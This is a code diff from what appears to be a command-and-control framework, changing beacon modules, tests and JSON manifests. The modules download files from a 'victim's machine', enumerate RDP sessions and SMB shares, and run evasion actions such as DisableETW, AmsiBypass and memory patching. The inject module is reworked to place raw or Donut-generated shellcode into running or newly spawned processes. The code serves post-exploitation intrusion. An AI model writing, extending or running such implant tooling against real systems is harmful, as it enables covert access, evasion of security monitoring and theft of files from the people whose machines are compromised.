std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "Download Module:\n";
|
||||
info += "Retrieve a file from the victim's machine and save it to the attacker's machine.\n";
|
||||
info += "Retrieve a file from the victim's machine and register it as a generated TeamServer artifact.\n";
|
||||
info += "Large files are automatically split into 2MB chunks and transferred over multiple check-ins.\n";
|
||||
info += "\nUsage example:\n";
|
||||
info += " - download C:\\Temp\\toto.exe /tmp/toto.exe\n";
|
||||
info += " - download C:\\Temp\\toto.exe toto.exe\n";
|
||||
info += "\nArguments:\n";
|
||||
info += " <sourcePath> Path to the file on the victim's machine\n";
|
||||
info += " <destPath> Destination path on the attacker's machine\n";
|
||||
info += " <artifactName> Optional generated artifact filename hint\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
@@ -98,6 +98,8 @@ int Download::recurringExec(C2Message& c2RetMessage)
|
||||
{
|
||||
c2RetMessage.set_instruction(std::to_string(moduleHash));
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_uuid(m_taskUuid);
|
||||
c2RetMessage.set_inputfile(m_inputfile);
|
||||
c2RetMessage.set_outputfile(m_outputfile);
|
||||
|
||||
std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead));
|
||||
@@ -146,7 +148,9 @@ int Download::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_inputfile(c2Message.inputfile());
|
||||
c2RetMessage.set_outputfile(c2Message.outputfile());
|
||||
m_inputfile = c2Message.inputfile();
|
||||
m_outputfile = c2Message.outputfile();
|
||||
m_taskUuid = c2Message.uuid();
|
||||
|
||||
std::string inputFile = c2Message.inputfile();
|
||||
|
||||
|
||||
@@ -23,7 +23,9 @@ public:
|
||||
}
|
||||
|
||||
private:
|
||||
std::string m_inputfile;
|
||||
std::string m_outputfile;
|
||||
std::string m_taskUuid;
|
||||
std::ofstream m_output;
|
||||
std::ifstream m_input;
|
||||
std::streamsize m_fileSize;
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
{
|
||||
"name": "download",
|
||||
"display_name": "download",
|
||||
"kind": "module",
|
||||
"description": "Download a remote file from the beacon.",
|
||||
"command_template": "download {remote_path:q} {artifact_name:q?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "remote_path",
|
||||
"type": "path",
|
||||
"required": true,
|
||||
"description": "Path of the file on the beacon."
|
||||
},
|
||||
{
|
||||
"name": "artifact_name",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Optional generated artifact filename hint. The TeamServer controls the storage path."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"download /tmp/file.txt",
|
||||
"download C:\\Temp\\file.txt file.txt"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -70,12 +70,15 @@ bool testDownload() {
|
||||
std::vector<std::string> cmd = {"download", src.string(), dst.string()};
|
||||
C2Message msg, ret;
|
||||
dl.init(cmd, msg);
|
||||
msg.set_uuid("download-uuid");
|
||||
dl.process(msg, ret);
|
||||
dl.followUp(ret);
|
||||
std::cout << "large first ret: " << ret.returnvalue() << " ec=" << ret.errorCode() << std::endl;
|
||||
while(ret.returnvalue() != "Success") {
|
||||
C2Message next;
|
||||
dl.recurringExec(next);
|
||||
ok &= next.uuid() == "download-uuid";
|
||||
ok &= next.inputfile() == src.string();
|
||||
dl.followUp(next);
|
||||
ret = next;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
{
|
||||
"name": "enumerateRdpSessions",
|
||||
"display_name": "enumerateRdpSessions",
|
||||
"kind": "module",
|
||||
"description": "Enumerate local or remote RDP sessions using the Windows WTS APIs.",
|
||||
"command_template": "enumerateRdpSessions [-s {s:q}]",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "-s",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Target host name or IP. Defaults to the local system."
|
||||
},
|
||||
{
|
||||
"name": "server",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Optional target host name or IP."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"enumerateRdpSessions",
|
||||
"enumerateRdpSessions -s fileserver",
|
||||
"enumerateRdpSessions fileserver"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
{
|
||||
"name": "enumerateShares",
|
||||
"display_name": "enumerateShares",
|
||||
"kind": "module",
|
||||
"description": "Enumerate SMB shares from the beacon context.",
|
||||
"command_template": "enumerateShares {host:q?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "host",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Optional remote host to enumerate. Empty value enumerates from the local context."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"enumerateShares",
|
||||
"enumerateShares fileserver"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
{
|
||||
"name": "evasion",
|
||||
"display_name": "evasion",
|
||||
"kind": "module",
|
||||
"description": "Run an evasion action on the beacon.",
|
||||
"command_template": "evasion {action} {address:q?} {value:q?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "action",
|
||||
"type": "enum",
|
||||
"required": true,
|
||||
"description": "Evasion action.",
|
||||
"values": [
|
||||
"CheckHooks",
|
||||
"DisableETW",
|
||||
"Unhook",
|
||||
"UnhookPerunsFart",
|
||||
"AmsiBypass",
|
||||
"Introspection",
|
||||
"ReadMemory",
|
||||
"PatchMemory",
|
||||
"RemotePatch"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "address",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Module name, address, or target value required by selected actions."
|
||||
},
|
||||
{
|
||||
"name": "value",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Size or patch bytes required by memory actions."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"evasion CheckHooks",
|
||||
"evasion DisableETW",
|
||||
"evasion ReadMemory 0x123456 20",
|
||||
"evasion PatchMemory 0x123456 \\x90\\x90\\x90\\x90"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"name": "getEnv",
|
||||
"display_name": "getEnv",
|
||||
"kind": "module",
|
||||
"description": "List environment variables available to the beacon process.",
|
||||
"command_template": "getEnv",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [],
|
||||
"examples": [
|
||||
"getEnv"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -19,7 +19,7 @@ endif()
|
||||
|
||||
set_property(TARGET Inject PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
|
||||
if(C2CORE_BUILD_TESTS OR C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
if((C2CORE_BUILD_TESTS OR C2CORE_BUILD_FUNCTIONAL_TESTS) AND NOT WIN32)
|
||||
target_link_libraries(Inject PRIVATE Donut )
|
||||
endif()
|
||||
c2core_disable_safeseh_for_x86(Inject)
|
||||
@@ -36,7 +36,7 @@ endif()
|
||||
if(C2CORE_BUILD_TESTS)
|
||||
if(WIN32)
|
||||
add_executable(testsInject tests/testsInject.cpp Inject.cpp ../ModuleCmd/syscall.cpp ${SYSCALL_OBJ})
|
||||
target_link_libraries(testsInject PRIVATE Donut )
|
||||
target_link_libraries(testsInject PRIVATE Donut)
|
||||
c2core_disable_safeseh_for_x86(testsInject)
|
||||
add_dependencies(testsInject dummyInject)
|
||||
target_compile_definitions(testsInject PRIVATE C2_INJECT_DUMMY_EXE="$<TARGET_FILE:dummyInject>")
|
||||
|
||||
+93
-130
@@ -1,9 +1,14 @@
|
||||
#include "Inject.hpp"
|
||||
|
||||
#include <cstring>
|
||||
#include <filesystem>
|
||||
#include <iterator>
|
||||
|
||||
#include "Common.hpp"
|
||||
#include "InjectCommandOptions.hpp"
|
||||
#ifndef _WIN32
|
||||
#include "Tools.hpp"
|
||||
#endif
|
||||
|
||||
|
||||
using namespace std;
|
||||
@@ -74,148 +79,106 @@ std::string Inject::getInfo()
|
||||
info += "inject:\n";
|
||||
info += "Inject shellcode in the pid process. For linux must be root or at least have ptrace capability.\n";
|
||||
info += "No output is provided.\n";
|
||||
info += "Use -r to use a shellcode file.\n";
|
||||
info += "If -e or -d are given, use donut to create the shellcode.\n";
|
||||
info += "Use --raw to use a shellcode file.\n";
|
||||
info += "If --donut-exe or --donut-dll are given, the TeamServer creates the shellcode.\n";
|
||||
info += "If pid is negative a new process is created for the injection.\n";
|
||||
info += "exemple:\n";
|
||||
info += "- inject -r ./calc.bin 2568\n";
|
||||
info += "- inject -e ./beacon.exe pid arg1 arg2\n";
|
||||
info += "- inject -d ./calc.dll pid method arg1 arg2\n";
|
||||
info += "- inject --raw ./calc.bin --pid 2568\n";
|
||||
info += "- inject --donut-exe ./beacon.exe --pid 2568 -- arg1 arg2\n";
|
||||
info += "- inject --donut-dll ./calc.dll --pid -1 --method EntryPoint -- arg1 arg2\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
namespace
|
||||
{
|
||||
std::string resolvePayloadPath(
|
||||
const std::string& inputFile,
|
||||
const std::string& toolsDirectoryPath,
|
||||
const std::string& windowsBeaconsDirectoryPath,
|
||||
const std::string& windowsArch)
|
||||
{
|
||||
if (inputFile.empty())
|
||||
return "";
|
||||
if (std::filesystem::exists(inputFile))
|
||||
return inputFile;
|
||||
|
||||
std::filesystem::path toolsPath = std::filesystem::path(toolsDirectoryPath) / inputFile;
|
||||
if (std::filesystem::exists(toolsPath))
|
||||
return toolsPath.string();
|
||||
|
||||
std::filesystem::path beaconPath = std::filesystem::path(windowsBeaconsDirectoryPath) / inputFile;
|
||||
if (std::filesystem::exists(beaconPath))
|
||||
return beaconPath.string();
|
||||
|
||||
std::filesystem::path archBeaconPath = std::filesystem::path(windowsBeaconsDirectoryPath) / windowsArch / inputFile;
|
||||
if (std::filesystem::exists(archBeaconPath))
|
||||
return archBeaconPath.string();
|
||||
|
||||
return inputFile;
|
||||
}
|
||||
|
||||
std::string readBinaryFile(const std::string& path)
|
||||
{
|
||||
std::ifstream input(path, std::ios::binary);
|
||||
return std::string(std::istreambuf_iterator<char>(input), std::istreambuf_iterator<char>());
|
||||
}
|
||||
} // namespace
|
||||
|
||||
int Inject::initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message)
|
||||
{
|
||||
if (task.payload.empty())
|
||||
{
|
||||
c2Message.set_returnvalue("Shellcode payload is empty.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
c2Message.set_pid(task.pid);
|
||||
c2Message.set_cmd(task.displayCommand);
|
||||
c2Message.set_instruction(std::string(moduleName));
|
||||
c2Message.set_inputfile(task.inputFile);
|
||||
c2Message.set_data(task.payload.data(), task.payload.size());
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
int Inject::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
if (splitedCmd.size() >= 4)
|
||||
inject_command::CommandOptions options = inject_command::parseCommandOptions(splitedCmd);
|
||||
if (!options.error.empty())
|
||||
{
|
||||
bool donut=false;
|
||||
std::string inputFile=splitedCmd[2];
|
||||
std::string method;
|
||||
std::string args;
|
||||
int pid=-1;
|
||||
|
||||
try
|
||||
{
|
||||
pid = stoi(splitedCmd[3]);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
std::string msg = "Pid must be an integer.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(splitedCmd[1]=="-e")
|
||||
{
|
||||
donut=true;
|
||||
for (int idx = 4; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!args.empty())
|
||||
args+=" ";
|
||||
args+=splitedCmd[idx];
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]=="-d")
|
||||
{
|
||||
donut=true;
|
||||
if(splitedCmd.size() > 4)
|
||||
method=splitedCmd[4];
|
||||
else
|
||||
{
|
||||
std::string msg = "Method is mandatory for DLL.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
for (int idx = 5; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!args.empty())
|
||||
args+=" ";
|
||||
args+=splitedCmd[idx];
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]=="-r")
|
||||
{
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string msg = "One of the tags, -r, -e or -d must be provided.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(inputFile.empty())
|
||||
{
|
||||
std::string msg = "A file name have to be provided.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::ifstream myfile;
|
||||
myfile.open(inputFile);
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_toolsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_windowsBeaconsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string msg = "Couldn't open file.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
myfile.close();
|
||||
|
||||
std::string payload;
|
||||
if(donut)
|
||||
{
|
||||
creatShellCodeDonut(inputFile, method, args, payload, true, false, m_windowsArch);
|
||||
}
|
||||
else
|
||||
{
|
||||
std::ifstream input(inputFile, std::ios::binary);
|
||||
std::string payload_(std::istreambuf_iterator<char>(input), {});
|
||||
payload=payload_;
|
||||
}
|
||||
|
||||
if(payload.size()==0)
|
||||
{
|
||||
std::string msg = "Something went wrong. Payload empty.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::string cmd;
|
||||
for (int idx = 1; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
cmd+=splitedCmd[idx];
|
||||
cmd+=" ";
|
||||
}
|
||||
|
||||
c2Message.set_pid(pid);
|
||||
c2Message.set_cmd(cmd);
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_data(payload.data(), payload.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
c2Message.set_returnvalue(options.error + "\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (options.generator != "raw")
|
||||
{
|
||||
c2Message.set_returnvalue("Donut shellcode generation is handled by the TeamServer shellcode service.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
const std::string inputFile = resolvePayloadPath(options.sourcePath, m_toolsDirectoryPath, m_windowsBeaconsDirectoryPath, m_windowsArch);
|
||||
std::ifstream myfile(inputFile, std::ios::binary);
|
||||
if(!myfile)
|
||||
{
|
||||
c2Message.set_returnvalue("Couldn't open file.\n");
|
||||
return -1;
|
||||
}
|
||||
myfile.close();
|
||||
|
||||
ModulePreparedShellcodeTask task;
|
||||
task.inputFile = inputFile;
|
||||
task.payload = readBinaryFile(inputFile);
|
||||
task.pid = options.pid;
|
||||
task.displayCommand = options.displayCommand;
|
||||
if (task.payload.empty())
|
||||
{
|
||||
c2Message.set_returnvalue("Something went wrong. Payload empty.\n");
|
||||
return -1;
|
||||
}
|
||||
return initPreparedShellcode(task, c2Message);
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -17,6 +17,9 @@ public:
|
||||
|
||||
int initConfig(const nlohmann::json &config);
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override;
|
||||
#endif
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override;
|
||||
int osCompatibility()
|
||||
|
||||
@@ -0,0 +1,226 @@
|
||||
#pragma once
|
||||
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
|
||||
#include <algorithm>
|
||||
#include <cctype>
|
||||
#include <cstddef>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
namespace inject_command
|
||||
{
|
||||
struct CommandOptions
|
||||
{
|
||||
int pid = -1;
|
||||
bool hasPid = false;
|
||||
std::string generator = "raw";
|
||||
std::string sourceType = "raw";
|
||||
std::string sourcePath;
|
||||
std::string method;
|
||||
std::string arguments;
|
||||
std::string displayCommand;
|
||||
std::string error;
|
||||
};
|
||||
|
||||
inline std::string lowerCopy(std::string value)
|
||||
{
|
||||
std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c)
|
||||
{
|
||||
return static_cast<char>(std::tolower(c));
|
||||
});
|
||||
return value;
|
||||
}
|
||||
|
||||
inline std::string joinCommandTail(const std::vector<std::string>& parts, size_t start)
|
||||
{
|
||||
std::string result;
|
||||
for (size_t index = start; index < parts.size(); ++index)
|
||||
{
|
||||
if (!result.empty())
|
||||
result += " ";
|
||||
result += parts[index];
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
inline bool parsePidValue(const std::string& value, int& pid)
|
||||
{
|
||||
try
|
||||
{
|
||||
size_t parsed = 0;
|
||||
const int parsedPid = std::stoi(value, &parsed);
|
||||
if (parsed != value.size())
|
||||
return false;
|
||||
pid = parsedPid;
|
||||
return true;
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
inline bool setPid(CommandOptions& options, const std::string& value)
|
||||
{
|
||||
int pid = -1;
|
||||
if (!parsePidValue(value, pid))
|
||||
{
|
||||
options.error = "Pid must be an integer.";
|
||||
return false;
|
||||
}
|
||||
options.pid = pid;
|
||||
options.hasPid = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
inline bool setSource(CommandOptions& options, const std::vector<std::string>& tokens, size_t& index, const std::string& token)
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = token + " requires a file path.";
|
||||
return false;
|
||||
}
|
||||
|
||||
options.sourcePath = tokens[index];
|
||||
if (token == "--raw" || token == "-r")
|
||||
{
|
||||
options.generator = "raw";
|
||||
options.sourceType = "raw";
|
||||
}
|
||||
else if (token == "--donut-exe" || token == "-e")
|
||||
{
|
||||
options.generator = "donut";
|
||||
options.sourceType = "dotnet_exe";
|
||||
}
|
||||
else if (token == "--donut-dll" || token == "-d")
|
||||
{
|
||||
options.generator = "donut";
|
||||
options.sourceType = "dotnet_dll";
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
inline CommandOptions parseCommandOptions(const std::vector<std::string>& tokens)
|
||||
{
|
||||
CommandOptions options;
|
||||
options.displayCommand = joinCommandTail(tokens, 1);
|
||||
|
||||
for (size_t index = 1; index < tokens.size(); ++index)
|
||||
{
|
||||
const std::string& token = tokens[index];
|
||||
if (token == "--")
|
||||
{
|
||||
options.arguments = joinCommandTail(tokens, index + 1);
|
||||
break;
|
||||
}
|
||||
if (token == "--pid")
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = "--pid requires a value.";
|
||||
return options;
|
||||
}
|
||||
if (!setPid(options, tokens[index]))
|
||||
return options;
|
||||
}
|
||||
else if (token == "--raw" || token == "-r")
|
||||
{
|
||||
if (!setSource(options, tokens, index, token))
|
||||
return options;
|
||||
if (token == "-r")
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = "Pid must be an integer.";
|
||||
return options;
|
||||
}
|
||||
if (!setPid(options, tokens[index]))
|
||||
return options;
|
||||
}
|
||||
}
|
||||
else if (token == "--donut-exe" || token == "-e")
|
||||
{
|
||||
if (!setSource(options, tokens, index, token))
|
||||
return options;
|
||||
if (token == "-e")
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = "Pid must be an integer.";
|
||||
return options;
|
||||
}
|
||||
if (!setPid(options, tokens[index]))
|
||||
return options;
|
||||
options.arguments = joinCommandTail(tokens, index + 1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if (token == "--donut-dll" || token == "-d")
|
||||
{
|
||||
if (!setSource(options, tokens, index, token))
|
||||
return options;
|
||||
if (token == "-d")
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = "Pid must be an integer.";
|
||||
return options;
|
||||
}
|
||||
if (!setPid(options, tokens[index]))
|
||||
return options;
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = "Method is mandatory for DLL.";
|
||||
return options;
|
||||
}
|
||||
options.method = tokens[index];
|
||||
options.arguments = joinCommandTail(tokens, index + 1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if (token == "--method")
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = "--method requires a value.";
|
||||
return options;
|
||||
}
|
||||
options.method = tokens[index];
|
||||
}
|
||||
else
|
||||
{
|
||||
int positionalPid = -1;
|
||||
if (!options.hasPid && parsePidValue(token, positionalPid))
|
||||
{
|
||||
options.pid = positionalPid;
|
||||
options.hasPid = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
options.error = "Unknown inject option: " + token;
|
||||
return options;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (options.sourcePath.empty())
|
||||
{
|
||||
options.error = "A payload source must be provided.";
|
||||
return options;
|
||||
}
|
||||
if (!options.hasPid)
|
||||
{
|
||||
options.error = "Pid must be an integer.";
|
||||
return options;
|
||||
}
|
||||
if (options.sourceType == "dotnet_dll" && options.method.empty())
|
||||
{
|
||||
options.error = "Method is mandatory for DLL.";
|
||||
return options;
|
||||
}
|
||||
return options;
|
||||
}
|
||||
} // namespace inject_command
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,110 @@
|
||||
{
|
||||
"name": "inject",
|
||||
"display_name": "inject",
|
||||
"kind": "module",
|
||||
"description": "Inject prepared shellcode into an existing process or a newly spawned process. Donut inputs are prepared by the TeamServer shellcode service before the task is sent to the beacon.",
|
||||
"command_template": "inject --pid {pid} [--raw {raw:q}] [--donut-exe {donut_exe:q}] [--donut-dll {donut_dll:q}] [--method {method:q}] [-- {arguments:raw}]",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "--pid",
|
||||
"type": "flag",
|
||||
"required": true,
|
||||
"description": "Target process id. Use a negative value to spawn the configured process before injection."
|
||||
},
|
||||
{
|
||||
"name": "--raw",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Use an existing raw shellcode file on the TeamServer.",
|
||||
"artifact_filter": {
|
||||
"category": "tool",
|
||||
"scope": "server",
|
||||
"target": "teamserver",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "any",
|
||||
"format": "bin",
|
||||
"name_contains": ".bin"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "--donut-exe",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Generate shellcode from an executable on the TeamServer.",
|
||||
"artifact_filters": [
|
||||
{
|
||||
"category": "tool",
|
||||
"scope": "server",
|
||||
"target": "teamserver",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "any",
|
||||
"format": "exe",
|
||||
"name_contains": ".exe"
|
||||
},
|
||||
{
|
||||
"category": "beacon",
|
||||
"scope": "implant",
|
||||
"target": "listener",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "native",
|
||||
"format": "exe",
|
||||
"name_contains": ".exe"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "--donut-dll",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Generate shellcode from a DLL on the TeamServer.",
|
||||
"artifact_filter": {
|
||||
"category": "tool",
|
||||
"scope": "server",
|
||||
"target": "teamserver",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "any",
|
||||
"format": "dll",
|
||||
"name_contains": ".dll"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "source_path",
|
||||
"type": "path",
|
||||
"required": true,
|
||||
"description": "Raw shellcode, executable, or DLL path on the TeamServer."
|
||||
},
|
||||
{
|
||||
"name": "pid",
|
||||
"type": "number",
|
||||
"required": true,
|
||||
"description": "Target process id."
|
||||
},
|
||||
{
|
||||
"name": "--method",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Required for --donut-dll."
|
||||
},
|
||||
{
|
||||
"name": "arguments",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Arguments passed to the Donut source after --.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"inject --raw shellcode.bin --pid 4321",
|
||||
"inject --donut-exe Seatbelt.exe --pid 4321 -- -group=system",
|
||||
"inject --donut-dll Tool.dll --pid -1 --method EntryPoint -- arg1 arg2"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -1,6 +1,8 @@
|
||||
#include "../../Inject.hpp"
|
||||
#include "../../../AssemblyExec/tests/AssemblyExecTestShellcodeGenerator.hpp"
|
||||
#include "../../../tests/FunctionalTestHelpers.hpp"
|
||||
|
||||
#include <filesystem>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
@@ -44,6 +46,31 @@ bool isTruthy(const std::string& value)
|
||||
{
|
||||
return value == "1" || value == "true" || value == "TRUE" || value == "yes" || value == "YES";
|
||||
}
|
||||
|
||||
std::string currentWindowsArch()
|
||||
{
|
||||
#if defined(_M_ARM64) || defined(__aarch64__)
|
||||
return "arm64";
|
||||
#elif defined(_M_IX86) || defined(__i386__)
|
||||
return "x86";
|
||||
#else
|
||||
return "x64";
|
||||
#endif
|
||||
}
|
||||
|
||||
bool parsePid(const std::string& value, int& pid)
|
||||
{
|
||||
try
|
||||
{
|
||||
size_t parsed = 0;
|
||||
pid = std::stoi(value, &parsed);
|
||||
return parsed == value.size();
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
@@ -97,45 +124,58 @@ int main(int argc, char** argv)
|
||||
return skipMissing("testsInjectFunctional", missing);
|
||||
}
|
||||
|
||||
std::vector<std::string> command = {"inject"};
|
||||
Inject module;
|
||||
C2Message message;
|
||||
std::filesystem::path generatedPath;
|
||||
if (kind == "raw")
|
||||
{
|
||||
command.push_back("-r");
|
||||
command.push_back(payload);
|
||||
}
|
||||
else if (kind == "dll")
|
||||
{
|
||||
command.push_back("-d");
|
||||
command.push_back(payload);
|
||||
command.push_back(pid);
|
||||
command.push_back(method);
|
||||
if (!arguments.empty())
|
||||
std::vector<std::string> command = {"inject", "-r", payload, pid};
|
||||
if (module.init(command, message) != 0)
|
||||
{
|
||||
command.push_back(arguments);
|
||||
std::cerr << "testsInjectFunctional init failed:\n" << message.returnvalue() << '\n';
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
command.push_back("-e");
|
||||
command.push_back(payload);
|
||||
command.push_back(pid);
|
||||
if (!arguments.empty())
|
||||
int parsedPid = -1;
|
||||
if (!parsePid(pid, parsedPid))
|
||||
{
|
||||
command.push_back(arguments);
|
||||
std::cerr << "testsInjectFunctional invalid pid: " << pid << '\n';
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (kind == "raw")
|
||||
{
|
||||
command.push_back(pid);
|
||||
}
|
||||
assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest(
|
||||
payload,
|
||||
kind == "dll" ? method : "",
|
||||
arguments,
|
||||
currentWindowsArch(),
|
||||
true);
|
||||
if (!generated.ok)
|
||||
{
|
||||
#ifndef _WIN32
|
||||
std::cout << "testsInjectFunctional skipped: " << generated.error << '\n';
|
||||
return skipReturnCode;
|
||||
#else
|
||||
std::cerr << "testsInjectFunctional Donut preparation failed:\n" << generated.error << '\n';
|
||||
return 1;
|
||||
#endif
|
||||
}
|
||||
|
||||
Inject module;
|
||||
C2Message message;
|
||||
if (module.init(command, message) != 0)
|
||||
{
|
||||
